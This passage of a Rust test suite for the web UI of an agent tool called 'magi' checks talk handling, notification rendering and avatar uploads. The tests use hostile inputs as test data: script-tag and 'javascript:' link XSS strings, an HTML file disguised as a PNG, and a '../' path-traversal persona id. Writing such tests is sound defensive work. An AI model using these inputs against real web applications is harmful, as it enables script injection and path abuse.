15237            let Json(view) = call(agent).await.expect("immediate consecutive change");
15238            assert_eq!(view.talk.agent, agent);
15239            assert!(!view.thinking);
15240            assert!(!ui.is_thinking(&id));
15241        }
15242
15243        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15244            .await
15245            .expect("detail");
15246        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
15247        assert_eq!(roster, ["mock", "second"]);
15248
15249        let mut closed = talks.get(&id).expect("reload");
15250        talk::close(&mut closed, &talks).expect("close");
15251        let refused = call("mock").await.expect_err("closed talk");
15252        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15253        assert!(
15254            refused.message.contains("takes no more turns"),
15255            "{}",
15256            refused.message
15257        );
15258    }
15259
15260    #[tokio::test]
15261    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
15262        let tmp = TempDir::new().expect("tempdir");
15263        let repo = tmp.path().join("repo");
15264        std::fs::create_dir_all(&repo).expect("repo dir");
15265        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15266        let home = TempDir::new().expect("temp home");
15267        let talks = Talks::at(home.path().join("talks"));
15268        let ui = Arc::new(
15269            Ui::new(
15270                Queue::at(home.path().join("queue")),
15271                Questions::at(home.path().join("questions")),
15272                talks.clone(),
15273                home.path().join("runs"),
15274                home.path().to_path_buf(),
15275                repo.clone(),
15276            )
15277            .with_worktrees_root(home.path().join("wt")),
15278        );
15279        let cfg = config_for(&repo).await.expect("discover config");
15280        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15281        let id = talk.id.clone();
15282        let call = |n: u8| {
15283            talk_implementers(
15284                State(Arc::clone(&ui)),
15285                Path(id.clone()),
15286                Json(TalkImplementers { implementers: n }),
15287            )
15288        };
15289
15290        for bad in [0u8, 4] {
15291            let e = call(bad).await.expect_err("out of range");
15292            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
15293        }
15294        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
15295
15296        {
15297            // Nothing refused so far took a claim, so the guard is free to take
15298            // and holding it is what makes the talk busy.
15299            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15300            let busy = call(2).await.expect_err("busy talk");
15301            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15302            assert!(
15303                busy.message.contains("a talk turn is running"),
15304                "{}",
15305                busy.message
15306            );
15307            drop(guard);
15308        }
15309
15310        let Json(view) = call(3).await.expect("switch");
15311        assert_eq!(view.talk.implementers, 3);
15312        assert!(talks.get(&id).expect("reload").implementers_dirty);
15313        assert!(!view.thinking);
15314        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15315        for n in [1, 2, 3] {
15316            let Json(view) = call(n).await.expect("immediate consecutive change");
15317            assert_eq!(view.talk.implementers, n);
15318            assert!(!view.thinking);
15319            assert!(!ui.is_thinking(&id));
15320        }
15321
15322        let mut closed = talks.get(&id).expect("reload");
15323        talk::close(&mut closed, &talks).expect("close");
15324        let e = call(2).await.expect_err("closed talk");
15325        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
15326        assert!(e.message.contains("takes no more turns"), "{}", e.message);
15327    }
15328
15329    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
15330    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
15331        let tmp = TempDir::new().expect("tempdir");
15332        let repo = tmp.path().join("repo");
15333        std::fs::create_dir_all(&repo).expect("repo dir");
15334        std::fs::write(
15335            repo.join("magi.toml"),
15336            format!("{MOCK_AGENT_TOML}\n{extra}"),
15337        )
15338        .expect("write magi.toml");
15339        let home = TempDir::new().expect("temp home");
15340        let talks = Talks::at(home.path().join("talks"));
15341        let ui = Arc::new(
15342            Ui::new(
15343                Queue::at(home.path().join("queue")),
15344                Questions::at(home.path().join("questions")),
15345                talks.clone(),
15346                home.path().join("runs"),
15347                home.path().to_path_buf(),
15348                repo.clone(),
15349            )
15350            .with_worktrees_root(home.path().join("wt")),
15351        );
15352        let cfg = config_for(&repo).await.expect("discover config");
15353        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15354        (tmp, home, ui, talk.id, repo)
15355    }
15356
15357    #[tokio::test]
15358    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
15359        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15360        let mut conversation = ui.talks.get(&id).unwrap();
15361        talk::record(
15362            &mut conversation,
15363            &ui.talks,
15364            "# Update on a task you filed\noperator words",
15365            vec![],
15366        )
15367        .unwrap();
15368        // Simulate an old operator record; headings do not prove authorship.
15369        conversation.turns[0].sender = None;
15370        conversation.turns[0].messages.clear();
15371        ui.talks.put(&mut conversation).unwrap();
15372        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
15373        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
15374        talk::drain(&mut conversation, &ui.talks).unwrap();
15375        talk::record_reply(
15376            &mut conversation,
15377            &ui.talks,
15378            "about that report",
15379            vec![],
15380            Some(talk::ReplyTarget {
15381                turn: 1,
15382                message: 1,
15383            }),
15384        )
15385        .unwrap();
15386        conversation.turns[2].messages[0]
15387            .reply
15388            .as_mut()
15389            .unwrap()
15390            .sender = None;
15391        conversation.turns.push(talk::Turn {
15392            sender: Some(talk::Sender::Persona),
15393            who: talk::Who::Agent,
15394            body: "magi: actual persona words".into(),
15395            at: Timestamp::now(),
15396            attachments: vec![],
15397            usage: None,
15398            breaks: None,
15399            messages: vec![],
15400            posted_by: None,
15401        });
15402        ui.talks.put(&mut conversation).unwrap();
15403        let view = TalkView::with_config(
15404            ui.talks.get(&id).unwrap(),
15405            false,
15406            None,
15407            &ui.home,
15408            &ui.references,
15409        );
15410        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
15411        assert_eq!(
15412            view.talk.turns[1].messages[0].sender,
15413            Some(talk::Sender::Operator)
15414        );
15415        assert_eq!(
15416            view.talk.turns[1].messages[1].sender,
15417            Some(talk::Sender::Magi)
15418        );
15419        assert_eq!(
15420            view.talk.turns[2].messages[0]
15421                .reply
15422                .as_ref()
15423                .unwrap()
15424                .sender,
15425            Some(talk::Sender::Magi)
15426        );
15427        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
15428        assert_eq!(view.turn_messages_md[0].len(), 1);
15429        assert!(view.turn_messages_md[0][0].is_none());
15430        assert!(view.turn_messages_md[1][0].is_none());
15431        assert!(view.turn_messages_md[1][1].is_some());
15432    }
15433
15434    #[tokio::test]
15435    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
15436        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15437        let mut conversation = ui.talks.get(&id).unwrap();
15438        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
15439        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15440        talk::queue_notice(
15441            &mut conversation,
15442            &ui.talks,
15443            &body,
15444            "watch:123",
15445            &|_| false,
15446            crate::chat_control::standing::Event::Watch {
15447                id: "watch-123".into(),
15448            },
15449            display.clone(),
15450        )
15451        .unwrap();
15452        assert!(
15453            !talk::queue_notice(
15454                &mut conversation,
15455                &ui.talks,
15456                &body,
15457                "watch:123",
15458                &|_| false,
15459                crate::chat_control::standing::Event::Watch {
15460                    id: "watch-123".into()
15461                },
15462                display.clone()
15463            )
15464            .unwrap()
15465        );
15466        let saved = ui.talks.get(&id).unwrap();
15467        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15468        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15469        assert!(
15470            view.talk.turns[0].messages[0].display.is_none(),
15471            "operator copy stays literal"
15472        );
15473        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15474        assert!(view.turn_messages_md[0][0].is_none());
15475        let queued_md = view.pending_messages_md[0].clone();
15476        assert_eq!(
15477            queued_md,
15478            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15479        );
15480        talk::drain(&mut conversation, &ui.talks).unwrap();
15481        talk::record_reply(
15482            &mut conversation,
15483            &ui.talks,
15484            "Explain",
15485            vec![],
15486            Some(talk::ReplyTarget {
15487                turn: 1,
15488                message: 0,
15489            }),
15490        )
15491        .unwrap();
15492        let mut saved = ui.talks.get(&id).unwrap();
15493        assert_eq!(saved.turns[1].messages[0].body, body);
15494        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15495        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15496        assert!(!reply.excerpt.contains("automatic report"));
15497        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15498        saved.turns[1].messages[0].display = None; // old MAGI send
15499        ui.talks.put(&mut saved).unwrap();
15500        let view = TalkView::with_config(
15501            ui.talks.get(&id).unwrap(),
15502            false,
15503            None,
15504            &ui.home,
15505            &ui.references,
15506        );
15507        assert_eq!(view.turn_messages_md[1][0], queued_md);
15508        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15509        assert!(
15510            !view.talk.turns[2].messages[0]
15511                .reply
15512                .as_ref()
15513                .unwrap()
15514                .excerpt
15515                .contains("automatic report")
15516        );
15517        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15518    }
15519
15520    #[tokio::test]
15521    async fn consultation_display_hides_directives_in_queue_and_history() {
15522        for node in [
15523            "implement",
15524            crate::land::APPROVAL_NODE,
15525            crate::github_text::ASK_NODE,
15526        ] {
15527            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15528            let mut question = Question::new(
15529                "run-123".into(),
15530                node.into(),
15531                "seat-1".into(),
15532                "Which backend?".into(),
15533                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15534                vec!["SQLite".into(), "Redis".into()],
15535            );
15536            ui.questions.put(&mut question).unwrap();
15537            let body = crate::prompt::chat_consult(&question);
15538            let mut conversation = ui.talks.get(&id).unwrap();
15539            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15540            assert!(
15541                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15542            );
15543            conversation = ui.talks.get(&id).unwrap();
15544            assert_eq!(conversation.pending_messages[0].body, body);
15545            assert!(body.contains("magi answer"));
15546            let mut legacy_pending = conversation.clone();
15547            legacy_pending.pending_messages[0].display = None;
15548            let legacy_view =
15549                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15550            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15551            assert!(legacy_md.contains("Question consultation"));
15552            assert!(!legacy_md.contains("magi answer"));
15553            let view =
15554                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15555            assert!(
15556                view.turn_messages_md[0][0].is_none(),
15557                "operator copy stays literal"
15558            );
15559            let queued_md = view.pending_messages_md[0].clone().unwrap();
15560            let rendered = serde_json::to_string(&queued_md).unwrap();
15561            for visible in [
15562                "Which backend?",
15563                "Context",
15564                "storage",
15565                "SQLite",
15566                "Redis",
15567                "<script>literal</script>",
15568            ] {
15569                assert!(rendered.contains(visible), "missing {visible}");
15570            }
15571            for directive in [
15572                "What to do",
15573                "magi answer",
15574                "Never answer it yourself",
15575                "Do not edit the repository",
15576            ] {
15577                assert!(!rendered.contains(directive), "exposed {directive}");
15578            }
15579            assert_eq!(
15580                view.talk.pending_messages[0].display,
15581                Some(crate::prompt::chat_consult_display(&question))
15582            );
15583            talk::drain(&mut conversation, &ui.talks).unwrap();
15584            let view =
15585                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15586            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15587            assert_eq!(conversation.turns[1].messages[0].body, body);
15588
15589            // Historical consultations lack a snapshot: show a safe placeholder
15590            // rather than parsing instructions or reconstructing mutable facts.
15591            conversation.turns[1].messages[0].display = None;
15592            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15593            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15594            assert!(legacy.contains("Question consultation"));
15595            assert!(!legacy.contains("magi answer"));
15596            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15597        }
15598    }
15599
15600    #[test]
15601    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15602        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15603        let (body, mut display) =
15604            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15605        display.facts = facts.into();
15606        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15607        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15608        let json = serde_json::to_string(&nodes).unwrap();
15609        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15610            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15611        }
15612        assert!(json.contains("<script>alert(1)</script>"));
15613        assert!(!json.contains("javascript:"));
15614        assert!(!json.contains("Tell the operator"));
15615        assert!(!json.contains("untrusted"));
15616        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15617        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15618        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15619        assert_eq!(
15620            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15621            md::to_nodes("# Status", &md::ImageBase::None),
15622        );
15623    }
15624
15625    #[tokio::test]
15626    async fn notification_display_recovers_exact_legacy_completion_references() {
15627        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15628        let mut conversation = ui.talks.get(&id).unwrap();
15629        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15630            id: "task-123",
15631            title: "Change",
15632            status: "done",
15633            reason: None,
15634            run: Some("run-123"),
15635            pr: None,
15636            summary: Some("Merge state unknown"),
15637            verification: None,
15638            completion: None,
15639        });
15640        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15641        conversation.turns[0].sender = None;
15642        conversation.turns[0].messages.clear();
15643        conversation.turns[0].breaks = None;
15644        conversation.pending = body.clone();
15645        conversation
15646            .completion_notices
15647            .push(crate::chat_notify::CompletionReference {
15648                task: "task-123".into(),
15649                run: Some("run-123".into()),
15650                notice: body.clone(),
15651            });
15652        ui.talks.put(&mut conversation).unwrap();
15653        let view = TalkView::with_config(
15654            ui.talks.get(&id).unwrap(),
15655            false,
15656            None,
15657            &ui.home,
15658            &ui.references,
15659        );
15660        assert_eq!(
15661            view.talk.turns[0].messages[0].display,
15662            Some(display.clone())
15663        );
15664        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15665        assert_eq!(
15666            view.talk.turns[0].messages[0].sender,
15667            Some(talk::Sender::Magi)
15668        );
15669        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15670        conversation.completion_notices[0]
15671            .notice
15672            .push_str("different");
15673        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15674        assert!(view.talk.turns[0].messages.is_empty());
15675        assert!(view.talk.pending_messages.is_empty());
15676    }
15677
15678    #[tokio::test]
15679    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15680        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15681        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15682            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15683        ))
15684        .await;
15685        let path = avatar_setting_path(home.path(), Some("rei"));
15686        let orphan = avatar_setting_path(home.path(), Some("removed"));
15687        save_icon_file(&orphan, icon).unwrap();
15688        for (saved, expected) in [
15689            (icon, "custom"),
15690            ("builtin", "builtin"),
15691            ("data:image/png;base64,!!!!", "inherit"),
15692            ("data:image/png;base64,PGh0bWw+", "inherit"),
15693            ("/tmp/avatar.png", "inherit"),
15694        ] {
15695            atomic_icon_write(&path, saved).unwrap();
15696            let catalog =
15697                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15698                    .await
15699                    .unwrap()
15700                    .0;
15701            let personas = catalog["personas"].as_array().unwrap();
15702            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15703            assert_eq!(rei["override_state"], expected);
15704            assert_eq!(rei["has_config_icon"], true);
15705            assert_eq!(rei["is_orphan"], false);
15706            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15707            assert_eq!(removed["override_state"], "custom");
15708            assert_eq!(removed["is_orphan"], true);
15709            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15710            assert_eq!(default["override_state"], "inherit");
15711            assert_eq!(default["has_config_icon"], false);
15712            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15713            assert_eq!(
15714                effective.as_deref(),
15715                Some(if expected == "builtin" { "" } else { icon })
15716            );
15717        }
15718    }
15719
15720    #[tokio::test]
15721    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15722        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15723        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15724            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15725        ))
15726        .await;
15727        let target = |id: Option<&str>| AvatarSettingsQuery {
15728            persona: id.map(str::to_owned),
15729            ..Default::default()
15730        };
15731        let original_config = config_for(&repo).await.unwrap();
15732        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15733        let original_prompt = persona::section_for(&original_persona, None);
15734        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15735            .await
15736            .unwrap()
15737            .0;
15738        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15739            let _ = avatar_settings_put(
15740                State(ui.clone()),
15741                Query(target(persona)),
15742                Json(MagiIconUpload { icon: icon.into() }),
15743            )
15744            .await
15745            .unwrap();
15746            let path = avatar_setting_path(home.path(), persona);
15747            assert!(path.starts_with(home.path().join("avatars")));
15748            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15749            for bad in [
15750                "/tmp/image.png".to_owned(),
15751                "data:image/png;base64,!!!!".to_owned(),
15752                "data:image/png;base64,PGh0bWw+".to_owned(),
15753                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15754                format!(
15755                    "data:image/png;base64,{}",
15756                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15757                ),
15758            ] {
15759                assert!(
15760                    avatar_settings_put(
15761                        State(ui.clone()),
15762                        Query(target(persona)),
15763                        Json(MagiIconUpload { icon: bad })
15764                    )
15765                    .await
15766                    .is_err()
15767                );
15768                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15769            }
15770        }
15771        assert!(read_magi_icon(home.path()).is_none());
15772        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15773        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15774            .await
15775            .unwrap()
15776            .0;
15777        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15778        assert_ne!(
15779            before
15780                .personas
15781                .iter()
15782                .find(|p| p.id == "magi")
15783                .unwrap()
15784                .avatar,
15785            after
15786                .personas
15787                .iter()
15788                .find(|p| p.id == "magi")
15789                .unwrap()
15790                .avatar
15791        );
15792        let restarted = Arc::new(Ui::new(
15793            Queue::at(home.path().join("queue")),
15794            Questions::at(home.path().join("questions")),
15795            Talks::at(home.path().join("talks")),
15796            home.path().join("runs"),
15797            home.path().to_owned(),
15798            repo,
15799        ));
15800        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15801            .await
15802            .unwrap()
15803            .0;
15804        assert!(
15805            catalog["personas"]
15806                .as_array()
15807                .unwrap()
15808                .iter()
15809                .any(|p| p["id"] == "../custom/日本語")
15810        );
15811        for expected in ["custom", "default", "rei"] {
15812            assert!(
15813                catalog["personas"]
15814                    .as_array()
15815                    .unwrap()
15816                    .iter()
15817                    .any(|p| p["id"] == expected)
15818            );
15819        }
15820        let response =
15821            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15822        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15823        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15824            .await
15825            .unwrap();
15826        assert_eq!(
15827            effective_persona_icon(home.path(), "rei", Some(icon)),
15828            Some(String::new())
15829        );
15830        let response = talk_avatar(
15831            State(restarted.clone()),
15832            Path(id.clone()),
15833            Query(AvatarQuery {
15834                persona: Some("rei".into()),
15835                ..Default::default()
15836            }),
15837        )
15838        .await
15839        .unwrap();
15840        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15841        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15842            .await
15843            .unwrap()
15844            .0;
15845        assert_ne!(
15846            after
15847                .personas
15848                .iter()
15849                .find(|p| p.id == "rei")
15850                .unwrap()
15851                .avatar,
15852            reset
15853                .personas
15854                .iter()
15855                .find(|p| p.id == "rei")
15856                .unwrap()
15857                .avatar
15858        );
15859        let mut inherit = target(Some("rei"));
15860        inherit.inherit = Some("1".into());
15861        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15862            .await
15863            .unwrap();
15864        assert_eq!(
15865            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15866            Some(icon)
15867        );
15868        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15869            .await
15870            .unwrap();
15871        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15872        assert_eq!(
15873            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15874            Some(icon)
15875        );
15876        // Display changes never rewrite the conversation or its prompt-bearing config.
15877        let cfg = config_for(&ui.repo).await.unwrap();
15878        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15879        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15880        assert!(!original_prompt.contains("data:image"));
15881        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15882        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15883        assert!(!stored.contains("data:image"));
15884        let mut orphan = ui.talks.get(&id).unwrap();
15885        orphan.persona = "../custom/日本語".into();
15886        let view = TalkView::with_config(
15887            orphan,
15888            false,
15889            Some(&cfg),
15890            home.path(),
15891            &id_links::IndexCache::default(),
15892        );
15893        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15894    }
15895
15896    #[tokio::test]
15897    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15898        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15899        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15900        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15901        let _ = magi_icon_put(
15902            State(ui.clone()),
15903            Json(MagiIconUpload { icon: icon.into() }),
15904        )
15905        .await
15906        .unwrap();
15907        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15908        assert_ne!(original, changed);
15909        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15910        let response = magi_avatar(
15911            State(ui.clone()),
15912            Query(AvatarQuery {
15913                persona: None,
15914                builtin: None,
15915            }),
15916        )
15917        .await;
15918        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15919        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15920        assert_eq!(
15921            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15922            "nosniff"
15923        );
15924        for bad in [
15925            "data:image/png;base64,PGh0bWw+".to_owned(),
15926            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15927            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15928        ] {
15929            assert!(save_magi_icon(home.path(), &bad).is_err());
15930            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15931        }
15932        // Re-opened server state reads the same independent home file.
15933        let restarted = Arc::new(Ui::new(
15934            Queue::at(home.path().join("queue")),
15935            Questions::at(home.path().join("questions")),
15936            Talks::at(home.path().join("talks")),
15937            home.path().join("runs"),
15938            home.path().to_path_buf(),
15939            repo,
15940        ));
15941        assert_eq!(
15942            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15943            changed
15944        );
15945        let view = TalkView::with_config(
15946            restarted.talks.get(&id).unwrap(),
15947            false,
15948            None,
15949            &restarted.home,
15950            &restarted.references,
15951        );
15952        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15953        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15954        let response = magi_avatar(
15955            State(ui.clone()),
15956            Query(AvatarQuery {
15957                persona: None,
15958                builtin: None,
15959            }),
15960        )
15961        .await;
15962        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15963            .await
15964            .unwrap();
15965        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15966        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15967        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15968        let _ = magi_icon_delete(State(ui)).await.unwrap();
15969    }
15970
15971    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15972    async fn avatar(
15973        ui: &Arc<Ui>,
15974        id: &str,
15975        persona: Option<&str>,
15976        builtin: bool,
15977    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15978        let res = talk_avatar(
15979            State(Arc::clone(ui)),
15980            Path(id.to_owned()),
15981            Query(AvatarQuery {
15982                persona: persona.map(str::to_owned),
15983                builtin: builtin.then(|| "1".to_owned()),
15984            }),
15985        )
15986        .await
15987        .expect("an avatar is never an error response");
15988        let h = res.headers();
15989        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15990        let nosniff = h
15991            .get(header::X_CONTENT_TYPE_OPTIONS)
15992            .is_some_and(|v| v == "nosniff");
15993        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15994        let status = res.status();
15995        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15996            .await
15997            .expect("body")
15998            .to_vec();
15999        (status, ct, nosniff, csp, body)
16000    }
16001
16002    fn tiny_png() -> Vec<u8> {
16003        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
16004        b.extend_from_slice(&[0u8; 32]);
16005        b
16006    }
16007
16008    #[tokio::test]
16009    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
16010        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
16011        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
16012        assert_eq!(res.status(), StatusCode::OK);
16013        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
16014        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
16015        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
16016        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
16017        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16018            .await
16019            .unwrap();
16020        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
16021        assert_ne!(
16022            persona_icon::operator_svg(),
16023            persona_icon::builtin_svg("default")
16024        );
16025    }
16026
16027    #[tokio::test]
16028    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
16029        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
16030        for p in [
16031            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
16032        ] {
16033            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
16034            assert_eq!(status, StatusCode::OK, "{p}");
16035            assert_eq!(ct, "image/svg+xml", "{p}");
16036            assert!(nosniff && csp, "{p}");
16037            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
16038        }
16039        // No `persona` means the conversation's own; unknown ones fall back.
16040        let own = avatar(&ui, &id, None, false).await;
16041        let default = avatar(&ui, &id, Some("default"), false).await;
16042        assert_eq!(own.4, default.4);
16043        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
16044        assert_eq!(unknown.1, "image/svg+xml");
16045    }
16046
16047    #[tokio::test]
16048    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
16049        let dir = TempDir::new().expect("icons");
16050        let good = dir.path().join("good.png");
16051        std::fs::write(&good, tiny_png()).unwrap();
16052        let spoof = dir.path().join("spoof.png");
16053        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
16054        let big = dir.path().join("big.png");
16055        let mut bytes = tiny_png();
16056        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
16057        std::fs::write(&big, bytes).unwrap();
16058        let missing = dir.path().join("missing.png");
16059        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
16060        let extra = format!(
16061            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
16062             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
16063             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
16064             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
16065             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
16066             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
16067            uri(&good),
16068            uri(&spoof),
16069            uri(&big),
